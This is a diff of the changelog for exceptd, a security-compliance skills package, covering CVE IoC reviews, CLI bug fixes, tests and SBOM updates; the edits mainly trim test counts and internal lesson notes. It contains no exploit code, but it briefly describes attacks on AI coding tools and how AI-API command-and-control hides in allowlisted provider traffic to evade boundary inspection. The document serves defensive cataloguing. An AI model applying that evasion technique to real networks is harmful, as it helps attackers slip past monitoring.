- Dependabot grouping config added for the github-actions ecosystem: weekly version-update bumps now land as a single grouped PR instead of N parallel PRs against the same 14-gate CI matrix. Security-updates stay ungrouped so a single-action CVE surfaces as its own PR.
1523
+ Dependabot grouping config added for the github-actions ecosystem: weekly version-update bumps now land as a single grouped PR instead of N parallel PRs against the same CI matrix. Security-updates stay ungrouped so a single-action CVE surfaces as its own PR.
1477
1524
 
1478
- Test count: 386 → 418 (388 + 31 cli-coverage − accounting note: 8 predeploy-gates + 12 diff-coverage tests landed alongside the +31 CLI surface tests; some pre-existing tests resolved into fewer counted tests on suite reorganization). Predeploy gates: 14 → 15.
1525
+ Predeploy gates: 14 → 15.
1479
1526
 
1480
1527
  ## 0.12.7 — 2026-05-13
1481
1528
 
@@ -1511,7 +1558,7 @@ mcp playbook bumped 1.2.0 → 1.3.0. threat_currency_score stays at 98. `last_th
1511
1558
 
1512
1559
  **Patch: primary-source IoC review across the catalog — five CVEs reviewed line-level against published exploit source. AGENTS.md Hard Rule #14 added.**
1513
1560
 
1514
- Five research agents dispatched in parallel to cross-reference our IoC list for each catalogued CVE against published exploit source / vendor advisories / researcher writeups. Roughly 60 IoCs added, one major CVSS correction, two CVEs gained an `iocs` block where they previously had `null`.
1561
+ Roughly 60 IoCs added across five catalogued CVEs, one major CVSS correction, two CVEs gained an `iocs` block where they previously had `null`.
1515
1562
 
1516
1563
  ### CVE-2025-53773 (Copilot YOLO mode) — major correction
1517
1564
 
@@ -1561,10 +1608,6 @@ Source: Trail of Bits (line-jumping + ANSI escape research), Invariant Labs (too
1561
1608
 
1562
1609
  All three `last_threat_review: 2026-05-13`.
1563
1610
 
1564
- ### Method
1565
-
1566
- Five parallel researcher agents dispatched via the project's multi-agent pattern (CLAUDE.md "Parallel agent dispatch for large patches"). Each agent owned one CVE; each returned a structured gap report with category, pattern, source citation (URL + quote), and ready-to-paste JSON. Main thread integrated. Hard Rule #14 codifies the pattern for every subsequent catalog addition.
1567
-
1568
1611
  ## 0.12.5 — 2026-05-13
1569
1612
 
1570
1613
  **Patch: root cause of the signature regression — a test was generating a fresh keypair mid-suite.**
@@ -1858,11 +1901,7 @@ All three honor `EXCEPTD_REGISTRY_FIXTURE` env var (path to a JSON file mimickin
1858
1901
 
1859
1902
  ### Tests
1860
1903
 
1861
- 7 new regression cases. 354 total. Notable: `#125/#134` now triggers a REAL preflight halt by submitting `repo-context: false` keyed by playbook id (autoDetectPreconditions can't override an explicit submission), and asserts `r.status === 4` not just non-zero — the earlier test only caught "not 0" which my v0.11.12 "fix" passed by coincidence (no-evidence → exit 3, also non-zero).
1862
-
1863
- ### Lesson codified
1864
-
1865
- When a "fix" passes a regression test by coincidence (any non-zero exit satisfies "not 0"), the test is too weak. Tests must assert the EXACT contract — exit 4, not "any non-zero." Added to CLAUDE.md.
1904
+ 7 new regression cases. Notable: `#125/#134` now triggers a REAL preflight halt by submitting `repo-context: false` keyed by playbook id (autoDetectPreconditions can't override an explicit submission), and asserts `r.status === 4` not just non-zero — the earlier test only caught "not 0" which the v0.11.12 "fix" passed by coincidence (no-evidence → exit 3, also non-zero).
1866
1905
 
1867
1906
  ## 0.11.13 — 2026-05-13
1868
1907
 
@@ -1876,11 +1915,7 @@ When a "fix" passes a regression test by coincidence (any non-zero exit satisfie
1876
1915
 
1877
1916
  ### Tests
1878
1917
 
1879
- 3 new regression cases. 347 total. The `#127` test asserts the universal contract by hitting `attest verify` on a non-existent session id and checking that any `ok:false` body (stdout or stderr) maps to non-zero exit. The `#128` test runs two `{}` submissions through `run sbom` and asserts the diff reports `total_compared > 0` matching `unchanged_count`.
1880
-
1881
- ### Lesson codified in CLAUDE.md
1882
-
1883
- When a class of bug ("verb forgot to set exit code") keeps recurring across releases, fix the class, not the instance. Move the contract to the lowest layer that all paths share — here, `emit()` itself.
1918
+ 3 new regression cases. The `#127` test asserts the universal contract by hitting `attest verify` on a non-existent session id and checking that any `ok:false` body (stdout or stderr) maps to non-zero exit. The `#128` test runs two `{}` submissions through `run sbom` and asserts the diff reports `total_compared > 0` matching `unchanged_count`.
1884
1919
 
1885
1920
  ## 0.11.12 — 2026-05-12
1886
1921
 
@@ -1900,11 +1935,7 @@ Pattern: previous releases shipped the right field names but with empty content
1900
1935
 
1901
1936
  ### Tests
1902
1937
 
1903
- 5 new regression cases. 344 total. Tests assert content shape, not just field presence — every test that checks for a notification array now also asserts the entries carry non-null jurisdiction/regulation/window_hours.
1904
-
1905
- ### Voice note (internal)
1906
-
1907
- Three of the four items (#123, #124, #126) were "added the field but the field was empty." Lesson: when an operator says "field is missing," the next question to ask after "is it on the result?" is "is its content meaningful, or is it a structurally-present null?" Codified in CLAUDE.md.
1938
+ 5 new regression cases. Tests assert content shape, not just field presence — every test that checks for a notification array now also asserts the entries carry non-null jurisdiction/regulation/window_hours.
1908
1939
 
1909
1940
  ## 0.11.11 — 2026-05-12
1910
1941
 
@@ -1923,15 +1954,11 @@ v0.11.10 #100 used `process.exit(3)` after writing the result JSON to stdout. Wh
1923
1954
 
1924
1955
  New regression: `#100/#103 ci exit-3 path still flushes JSON to stdout` — asserts both `r.status === 3` AND `tryJson(r.stdout)` parses. This is the test that would have caught v0.11.10 before CI.
1925
1956
 
1926
- ### Lesson
1927
-
1928
- When ending a verb with a non-zero exit AFTER writing structured stdout, prefer `process.exitCode = N; return;` over `process.exit(N)`. The former lets the event loop drain stdout; the latter can truncate. Codified in CLAUDE.md.
1929
-
1930
1957
  ## 0.11.10 — 2026-05-12
1931
1958
 
1932
1959
  **Patch: items 119-122 — field-name alignment with operator expectations.**
1933
1960
 
1934
- Pattern recognized across 10 v0.11.x releases: my output field names didn't match what operators were reading for. Several "broken" items were actually present-under-a-different-name. v0.11.10 adds the missing aliases + tightens ci's empty-evidence semantic.
1961
+ Several "broken" items were actually present-under-a-different-name. v0.11.10 adds the missing aliases + tightens ci's empty-evidence semantic.
1935
1962
 
1936
1963
  ### Bugs
1937
1964
 
@@ -1945,23 +1972,13 @@ Pattern recognized across 10 v0.11.x releases: my output field names didn't matc
1945
1972
 
1946
1973
  ### Tests
1947
1974
 
1948
- 5 new cases in `tests/operator-bugs.test.js` for items 119/100/102/104. 338 total.
1949
-
1950
- ### Verified by direct repro before fix
1951
-
1952
- For every item I:
1953
- 1. Ran the user's exact CLI invocation
1954
- 2. Inspected the actual output shape vs the user's stated expectation
1955
- 3. Identified whether the bug was missing logic OR field-name mismatch
1956
- 4. Fixed both layers when the answer was "mismatch" (add alias) so subsequent operators reading by either name see the data
1957
-
1958
- Pattern documented in CLAUDE.md (project-side contributor guide).
1975
+ 5 new cases in `tests/operator-bugs.test.js` for items 119/100/102/104.
1959
1976
 
1960
1977
  ## 0.11.9 — 2026-05-12
1961
1978
 
1962
1979
  **Patch: items 99-115 — CLI-shim audit, real fixes.**
1963
1980
 
1964
- User audit identified the common root cause across 8 releases of "fixed" bugs that operators kept re-finding: the CLI shim layer between arg parsing and result rendering. v0.11.9 audits that layer end to end.
1981
+ The CLI shim layer between arg parsing and result rendering was the common root cause across 8 releases of "fixed" bugs that operators kept re-finding. v0.11.9 audits that layer end to end.
1965
1982
 
1966
1983
  ### Critical
1967
1984
 
@@ -1983,17 +2000,11 @@ User audit identified the common root cause across 8 releases of "fixed" bugs th
1983
2000
 
1984
2001
  ### Tests
1985
2002
 
1986
- 5 new cases for items 104, 113, 114, 115. 333 total.
1987
-
1988
- ### Deferred
1989
-
1990
- - **#116** `ci --explain` dry-run mode
1991
- - **#117** `diff <playbook> --since <window>`
1992
- - **#118** `attest sign <id>` retroactive signing
2003
+ 5 new cases for items 104, 113, 114, 115.
1993
2004
 
1994
2005
  ## 0.11.8 — 2026-05-12
1995
2006
 
1996
- **Patch: items 99-104 + 6 new regression tests (328 total).**
2007
+ **Patch: items 99-104 + new regression tests.**
1997
2008
 
1998
2009
  ### Critical
1999
2010
 
@@ -2011,12 +2022,7 @@ User audit identified the common root cause across 8 releases of "fixed" bugs th
2011
2022
 
2012
2023
  ### Tests
2013
2024
 
2014
- 6 new regression cases for items 99-103. 328 cases total in `tests/operator-bugs.test.js`.
2015
-
2016
- ### Deferred
2017
-
2018
- - **#104** `--block-on-jurisdiction-clock` trigger condition unclear in help — clock_starts events fire on `detect_confirmed` etc; without a detected classification no clock fires. Help text wording deferred to v0.11.9.
2019
- - **#105-108** `ci --explain`, `diff <playbook> --since 7d`, `ci --required`, `attest sign <id>` — features deferred to v0.11.9.
2025
+ 6 new regression cases for items 99-103 in `tests/operator-bugs.test.js`.
2020
2026
 
2021
2027
  ## 0.11.7 — 2026-05-12
2022
2028
 
@@ -2030,7 +2036,7 @@ The fingerprint divergence between two same-process invocations of the same bina
2030
2036
 
2031
2037
  ### What's in this release
2032
2038
 
2033
- All v0.11.6 changes (items 91-98 + 8 new regression tests, 322 total). See [v0.11.6 section](#0116--2026-05-12) below — every fix is identical:
2039
+ All v0.11.6 changes:
2034
2040
 
2035
2041
  - **#91** CSAF + OpenVEX include framework_gap_mapping (was: empty bundles for posture-only playbooks)
2036
2042
  - **#92** CSAF tracking.current_release_date populated (spec §3.2.1.12)
@@ -2043,11 +2049,11 @@ All v0.11.6 changes (items 91-98 + 8 new regression tests, 322 total). See [v0.1
2043
2049
 
2044
2050
  ### Workflow improvement
2045
2051
 
2046
- Per operator request: README + landing-site updates are now part of every release sequence. README v0.11 section + exceptd.com softwareVersion updated alongside the package version bump.
2052
+ README + landing-site updates are now part of every release sequence. README v0.11 section + exceptd.com softwareVersion updated alongside the package version bump.
2047
2053
 
2048
2054
  ## 0.11.6 — 2026-05-12
2049
2055
 
2050
- **Patch: items 91-98 + regression coverage extended to 35 cases.**
2056
+ **Patch: items 91-98.**
2051
2057
 
2052
2058
  ### Critical
2053
2059
 
@@ -2065,7 +2071,7 @@ Per operator request: README + landing-site updates are now part of every releas
2065
2071
 
2066
2072
  ### Test infrastructure
2067
2073
 
2068
- 35 cases in `tests/operator-bugs.test.js` (8 new for 91-98). 322 tests pass total. Future bug fixes continue to land here.
2074
+ 35 cases in `tests/operator-bugs.test.js` (8 new for 91-98). Future bug fixes continue to land here.
2069
2075
 
2070
2076
  ## 0.11.5 — 2026-05-12
2071
2077
 
@@ -2545,8 +2551,6 @@ exceptd framework-gap PCI-DSS-4.0 "prompt injection"
2545
2551
  exceptd framework-gap all CVE-2025-53773 --json
2546
2552
  ```
2547
2553
 
2548
- 13/13 predeploy gates green; 201 tests pass.
2549
-
2550
2554
  ## 0.9.4 — 2026-05-12
2551
2555
 
2552
2556
  **Pin: drop upper bound on Node engine requirement.**
@@ -2579,8 +2583,6 @@ Test breadth assertion bumped from `>= 30` to `>= 40` WGs. Same dynamic-derivati
2579
2583
 
2580
2584
  **Database coverage rationale**: IETF doesn't have a "database" WG because DB wire protocols (Postgres, MongoDB, etc.) aren't IETF-standardized. The security infrastructure databases USE — TLS for connections, SASL/Kerberos auth, workload identity, field encryption, audit-trail time anchoring, cert validation, access-control sync — is all covered by the WGs above. `jsonschema` adds the DB+API+policy schema validation layer that was previously missing.
2581
2585
 
2582
- 201 tests pass; 13/13 predeploy gates green.
2583
-
2584
2586
  ## 0.9.2 — 2026-05-12
2585
2587
 
2586
2588
  **Pin: auto-discovery for KEV + IETF catalogs.** The refresh workflow now adds *new* catalog entries automatically instead of only updating existing ones.
@@ -2632,8 +2634,6 @@ Test breadth assertion bumped from `>= 30` to `>= 40` WGs. Same dynamic-derivati
2632
2634
  - Volume cap + spill counting
2633
2635
  - RWEP score bounded 0–100
2634
2636
 
2635
- Total: 192 → **201 tests**. 13/13 predeploy gates green.
2636
-
2637
2637
  ### Operational note
2638
2638
 
2639
2639
  The first run after deploy will likely pick up **8 new KEV entries** from the past ~5 days of CISA activity (visible in `/api/intel` already). These appear in the next auto-PR as a curated batch.
@@ -2702,7 +2702,7 @@ Predeploy gate count: **12 → 13**. All green on this release.
2702
2702
  - **README rewrite**: three audience paths (AI consumer / operator / maintainer), npx install instructions, full CLI command reference, pre-computed indexes summary. npm badge added back alongside the release badge.
2703
2703
  - **MAINTAINERS.md release runbook**: full one-time setup + per-release procedure + dry-run instructions + rollback options + consumer verification commands.
2704
2704
  - **SBOM updates**: package's own `bom-ref` switches from `pkg:project/exceptd-skills@version` to canonical PURL `pkg:npm/@blamejs/exceptd-skills@version`. Adds `externalReferences` linking to the npm package page + GitHub repo.
2705
- - **Tests**: 182 → 192 (10 new in `tests/bin-dispatcher.test.js`). Covers help, version, path, alias flags, unknown command, orchestrator passthrough, package.json publish-readiness invariants.
2705
+ - **Tests**: 10 new in `tests/bin-dispatcher.test.js`. Covers help, version, path, alias flags, unknown command, orchestrator passthrough, package.json publish-readiness invariants.
2706
2706
  - **package.json updates**: keywords array for npm discoverability (`ai-security`, `compliance`, `cve`, `kev`, `mcp`, `prompt-injection`, `rwep`, `threat-intelligence`, etc.), explicit `author` field, `prepublishOnly` runs `predeploy + validate-package` so an accidental `npm publish` can't skip the gates.
2707
2707
 
2708
2708
  ### Operator workflows
@@ -2786,8 +2786,6 @@ This release ships the npm publish infrastructure but does NOT itself publish. T
2786
2786
  - **`tests/build-incremental.test.js`** — `--only` dependency closure (`token-budget` pulls in `section-offsets`), unknown name rejection, `--changed` no-op when sources unchanged, `--changed` picks up a touched skill body, `--parallel` produces byte-identical output, `OUTPUTS` registry parity. 6 tests.
2787
2787
  - **`tests/refresh-swarm.test.js`** — swarm vs. sequential report parity, `--from-cache` reads cache layout, `--from-cache <nonexistent>` exits non-zero. 3 tests.
2788
2788
 
2789
- Total: 182/182 pass (was 156).
2790
-
2791
2789
  ### SBOM
2792
2790
 
2793
2791
  `sbom.cdx.json` `components` array now lists the vendored files as proper CycloneDX library components with SHA-256 hashes, source repo, pinned commit, and an `externalReferences` link back to upstream. Metadata properties add `exceptd:vendor:count` and `exceptd:vendor:pin`.
@@ -2839,7 +2837,6 @@ Total: 182/182 pass (was 156).
2839
2837
  ### Test coverage
2840
2838
 
2841
2839
  - `tests/indexes-v070.test.js` — 16 new tests across the 13 new/extended index files. Covers shape, cross-references to real skills + catalogs, byte-stability across rebuilds (idempotence).
2842
- - 156 tests pass (was 132); 11/11 predeploy gates green.
2843
2840
 
2844
2841
  ### Internal fixes during this release
2845
2842
 
@@ -2885,8 +2882,6 @@ Total index size: ~125 KB across 6 files — **93% reduction** vs loading all sk
2885
2882
 
2886
2883
  ### Verification
2887
2884
 
2888
- - 11/11 predeploy gates green
2889
- - 38/38 skills signed
2890
2885
  - audit-cross-skill: 0 issues
2891
2886
  - audit-perf: all hot paths sub-5ms; indexes 60+× faster than on-the-fly chain reconstruction
2892
2887
 
@@ -2911,8 +2906,6 @@ Pin: cross-skill audit fixes. Added `scripts/audit-cross-skill.js` (comprehensiv
2911
2906
  ### Verification
2912
2907
 
2913
2908
  - `node scripts/audit-cross-skill.js` → 0 issues
2914
- - 10/10 predeploy gates green
2915
- - 38/38 skills signed
2916
2909
 
2917
2910
  ## 0.5.4 — 2026-05-11
2918
2911
 
@@ -2934,11 +2927,6 @@ This is a renamed skill (removed `age-gates-minor-safeguarding` + added `age-gat
2934
2927
  - `CHANGELOG.md`: 0.5.3 entry retroactively updated to use the new name
2935
2928
  - SBOM refreshed
2936
2929
 
2937
- ### Verification
2938
-
2939
- - 10/10 predeploy gates green
2940
- - 38/38 skills signed and lint-passing
2941
-
2942
2930
  ## 0.5.3 — 2026-05-11
2943
2931
 
2944
2932
  Pin-level skill additions closing thematic and age-related coverage gaps. Total skills 31 → 38.
@@ -2965,14 +2953,11 @@ Pin-level skill additions closing thematic and age-related coverage gaps. Total
2965
2953
 
2966
2954
  ### Verification
2967
2955
 
2968
- - 10/10 predeploy gates passing
2969
- - 38/38 skills passing lint
2970
- - 132/132 tests passing
2971
2956
  - SBOM refreshed to reflect 38 skills + 10 catalogs
2972
2957
 
2973
2958
  ## 0.5.2 — 2026-05-11
2974
2959
 
2975
- Pin-level skill additions closing the sector and thematic coverage gaps the cross-skill audit flagged. Six new skills written by parallel agents; total skills 25 → 31.
2960
+ Pin-level skill additions closing sector and thematic coverage gaps; total skills 25 → 31.
2976
2961
 
2977
2962
  ### New skills
2978
2963
 
@@ -2992,9 +2977,6 @@ Pin-level skill additions closing the sector and thematic coverage gaps the cros
2992
2977
 
2993
2978
  ### Verification
2994
2979
 
2995
- - 10/10 predeploy gates passing
2996
- - 31/31 skills passing lint
2997
- - 132/132 tests passing
2998
2980
  - SBOM refreshed to reflect 31 skills + 10 catalogs
2999
2981
 
3000
2982
  ## 0.5.1 — 2026-05-11
@@ -3025,8 +3007,6 @@ Every entry across every catalog is now referenced by ≥1 skill.
3025
3007
 
3026
3008
  ### Verification
3027
3009
 
3028
- - 10/10 predeploy gates green (Ed25519 / tests / catalog / offline-CVE / offline-RFC / snapshot / lint / watchlist / catalog-meta / SBOM-currency)
3029
- - 132/132 tests passing
3030
3010
  - All 25 skills re-signed; manifest snapshot regenerated additively
3031
3011
 
3032
3012
  ## 0.5.0 — 2026-05-11
@@ -3062,9 +3042,6 @@ Each closes a previously orphaned framework_gap and ships with the full 7-requir
3062
3042
 
3063
3043
  ### Verification
3064
3044
 
3065
- - 25/25 skills passing lint
3066
- - 132/132 tests passing
3067
- - 7/7 predeploy gates passing
3068
3045
  - DAG: 0 skills with in-degree 0, 0 skills with out-degree 0
3069
3046
  - Orphans: 0 ATLAS, 0 D3FEND, 0 RFC, 0 CVE, 16/34 CWE (unallocated weakness classes — documented gap), 13/49 framework_gaps reduced via the 4 new skills to 9/49 (remaining 9 are sectoral gaps requiring future sector skills)
3070
3047
 
@@ -3104,11 +3081,6 @@ Each closes a previously orphaned framework_gap and ships with the full 7-requir
3104
3081
  - `scripts/check-manifest-snapshot.js` and `scripts/refresh-manifest-snapshot.js` include the three new ref fields in the public-surface diff.
3105
3082
  - AGENTS.md skill format spec + Quick Skill Reference table updated for the 5 new skills.
3106
3083
 
3107
- ### Verification
3108
- - 21/21 skills passing lint
3109
- - 132/132 tests passing
3110
- - 7/7 predeploy gates passing
3111
-
3112
3084
  ## 0.3.0 — 2026-05-11
3113
3085
 
3114
3086
  Pre-release: every CI gate green, full skill corpus compliant with the AGENTS.md hard rules.
@@ -3131,11 +3103,6 @@ Pre-release: every CI gate green, full skill corpus compliant with the AGENTS.md
3131
3103
  ### Data
3132
3104
  - `data/framework-control-gaps.json` — added `NIST-800-53-SC-7` (Boundary Protection) entry. Documents how AI-API C2 routes through allowlisted provider domains (api.openai.com, api.anthropic.com, generativelanguage.googleapis.com) and defeats boundary inspection. Maps to `AML.T0096`, `AML.T0017`, `T1071`, `T1102`, `T1568`. Closes the orphaned-reference gap that the lint gate caught in `ai-c2-detection`.
3133
3105
 
3134
- ### Verification
3135
- - 110/110 tests passing (`npm test`)
3136
- - 16/16 skills passing lint (`npm run lint`)
3137
- - All 6 predeploy gates green (`npm run predeploy`)
3138
-
3139
3106
  ## 0.2.0 — 2026-05-11
3140
3107
 
3141
3108
  ### Skills (15th added)